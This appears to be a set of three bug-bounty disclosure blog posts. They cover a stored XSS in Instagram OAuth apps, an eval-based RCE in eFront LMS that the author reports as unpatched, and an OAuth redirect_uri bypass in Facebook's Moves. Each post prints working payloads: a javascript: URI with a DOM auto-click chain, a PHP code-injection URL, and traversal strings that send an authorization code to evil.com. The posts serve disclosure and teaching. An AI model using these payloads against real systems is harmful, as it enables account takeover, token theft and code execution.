Instagram Stored OAuth XSS

2:27 PM


A few weeks ago, I found a stored cross site scripting bug in Instagram that was tricky to craft a real exploit from. In Instagram Developers, you can create your own OAuth applications to be granted by the user and use the API. the vulnerable parameter is the "url" POST parameter, where you provide your site's address and the user could navigate to see who the developer is.


The parameter was properly sanitized, & even sent thru Linkshim to validate its not a malicious link. but here is the best part, Linkshim only validates if the link is malicious from a list of database files it have and if it doesn't exisit in the db, it will just put the url in a hyperlink reference.

And I assume because of this Facebook assumed when a link is sent thru linkshim, a link would get out. and they are right, and they are validating everything right. except for the scheme.

So http://google.com worked but since schemes weren't validated, so did javascript://google.com. At this point, it will seem like we got a working exploit. but there are different limitation factors here. the first one being there are lots of character limitations to write a payload. because characters are properly HTML entitied, we can't use quotes & other key elements. and because linkshim is there, the payload needed to be a valid & safe-uri, but with our payload.

Crafting an alert was easy, we just put javascript://google.com/?x=%0Aalert`Hello!`

The above payload can generate an alert that says "Hello" in any modern browser thanks to ECMAScript6. notice there aren't any braces or quotes in there, and I added a newline (%0A), to make the alert not a javascript comment because linkshim would require us to follow standard scheme protocols (xxx://y)

Going Beyond Alert

This part is just an extension to prove exploitability. because of Session cookies, this wont be as simple as stealing cookies then saying game over. also because of the limitation factors I wrote above, crafting a normal payload isn't an option. 

So I had to use DOM manipulation techniques to get the Authorization button when clicked, authorizing our malicious application to be used on behalf of the user with all the scopes available (comments+likes+basic+public_content+follower_list+relationships)

The pre-final payload I crafted looks like: 

document.body.firstElementChild.children[0].firstElementChild.firstElementChild.nextEle-
-mentSibling.nextElementSibling.nextElementSibling.children[2].children[1].firstElement
Child[4].click()

As you can see we didn't use any quotes but only the allowed characters, and when visited, that will
authorize the malicious application in-to the users account. :) so the final payload would look something like:

javascript://google.com/?x=%0Aalert`Hi!`;document.body.firstElementChild.children[0].firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.children[2].children[1].firstElement
Child[4].click

Here is a video poc:


Report Timeline

July 24, 2016 - Inital Report
July 26, 2016 - Triage
July 30, 2016 - Patch!

eFront LMS - RCE (All versions)

11:48 AM

TL,DR; A friend reminded me a couple of days ago to publish something, since its been a while last I published a post. so this is going to be a short post about an interesting-ish RCE found in all versions of eFront LMS - unfortunately, since the report have passed 90 days since initial report, I am publishing it. I will update this post if a patch for the bug is out.

The reason I have been away from the internet is because of the internet blockage in Ethiopia caused by the State of Emergency & its consequences facing you if you don't follow it, I am currently in a neighboring country so I am not technically disrespecting any laws.

In /efront/libraries/globals.php:

The following handleSEO() function is the one causing the code execution. it looks like the following:

function handleSEO() {
    if (!$GLOBALS['configuration']['seo'] && $_SERVER['PATH_INFO']) {
        $parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
        for ($i = 0; $i < sizeof($parts); $i+=2) {
            eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');
        }
        //unset($parts);unset($i);
        foreach (get_defined_vars() as $key => $value) {
            $_GET[$key] = $value;
        }
    }
}

Because of their assumption that $_SERVER['PATH_INFO'] isn't user controllable, they sent it stright to eval(), causing the code execution.

Final PoC: https://localhost/efonrt/libraries/globals.php/hack/x%22%3Beval(phpinfo())%3B%24t%3D%22pwnd
Decoded:
https://localhost/efonrt/libraries/globals.php/hack/x";eval(phpinfo());$t="pwnd
visiting the above link will get phpinfo() executed.

Breaking it down:

$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
for ($i = 0; $i < sizeof($parts); $i+=2) {
            eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');
}

Because of that specific code, we send in /globals.php/hack/x, which will become: $hack="x

But because php already executed the code, doing a comment (/*..*/) wont work and will crash it, so we will just tamper the variables like x";eval(phpinfo());$t="pwnd

This will endup creating:

$hack = "x";eval(phpinfo());$t="pwnd";

Which is then interpreted as: 

eval($hack = "x";eval(phpinfo());$t="pwnd";);

And Boom! We got our code executed!

Hope you enjoyed the read!

Facebook's Moves - OAuth redirect_uri bypass

3:53 PM

This is going to a very short post about a redirect_uri bypass technique I found in Moves.

Moves is a company owned by Facebook and one of the acquisitions in scope for the bug bounty program they are running.

I have written about an XSS bug caused in this same parameter entitled "Moves OAuth XSS" and this will cover a not so common redirect_uri bypass method.

Anyway, there are a lot of known ways to bypass redirect_uri's in OAuth, it all depends on what server side check we are facing and what limitation factors there are. for instance, in Facebook's case, if you set your applications allowed callback to https://www.anyurl.com/directory it will allow that+ anything following it. so https://www.anyurl.com/directory/anotherdirectory?y=xz is considered perfectly valid. some other sites like Coinbase & Uber implement it differently. and addition of any queries, directories or domains will be considered invalid so scenarios that worked on Facebook will be invalid.

That leaves some OAuth clients heavily misconfigured and sometimes causes serious issues like OAuth bypasses possible.

However, there are sometimes confusions on the server handling these urls (often since dealing with url encoded values) and some bypasses are possible. 
Consider a site that configured its allowed callback url to https://example.com/some/path.

Possible bypasses to tamper with sub-directories:

  1. https://example.com/some/path
  2. https://example.com/some/path/../../new/path
  3. https://example.com/some/path/%2e%2e/%2e%2e/new/path
  4. https://example.com/some/path/%252e%252e/%252e%252e/new/path (double encoded)
  5. https://example.com/new/path///../../some/path/
  6. https://example.com/some/path/.%0a./.%0d./new/path (for servers ignoring nonprintable CRLF chracters)   
 In moves case, I used the 5th example. it basically confuses the parser and thus let it assume /new/path/ is the allowed subdir.

PoC app: https://api.moves-app.com/oauth/v1/authorize?response_type=code&client_id=2KQ3D5coba76A5eg42mlu3L3Kd3btEeS&scope=location&redirect_uri=https://example.com/new/path///../../some/path/ (obviously patched)

That application, although configured to redirect to https://example.com/some/path it will redirect to https://example.com/new/path 

Attack Scenario:

Consider an open redirect in example.com like https://example.com/somepath/redirect?to=evil.com
If the developer set the callback to https://example.com/moves/callback he will expect the OAuth provider won't accept other paths. (so open redirect is low priority here)

However, using the bypass, we create our malicious path like:
https://example.com/somepath/redirect%3fto%3devil.com%23///../../moves/callback/

We encode the characters so it will be considered as a path and not tamper with the parser. 
the %23 (#) is added at the end to not let the other path following (../moves/callback) matter.

that will redirect to https://example.com/somepath/redirect?to=evil.com#/moves/callback?code=CODE (my precious) and we just get our stolen code via document.hash and game over!

Here is a video poc




Report Timeline

Apr 29 - Inital Report
May 6 - Triage
May 9 - Patch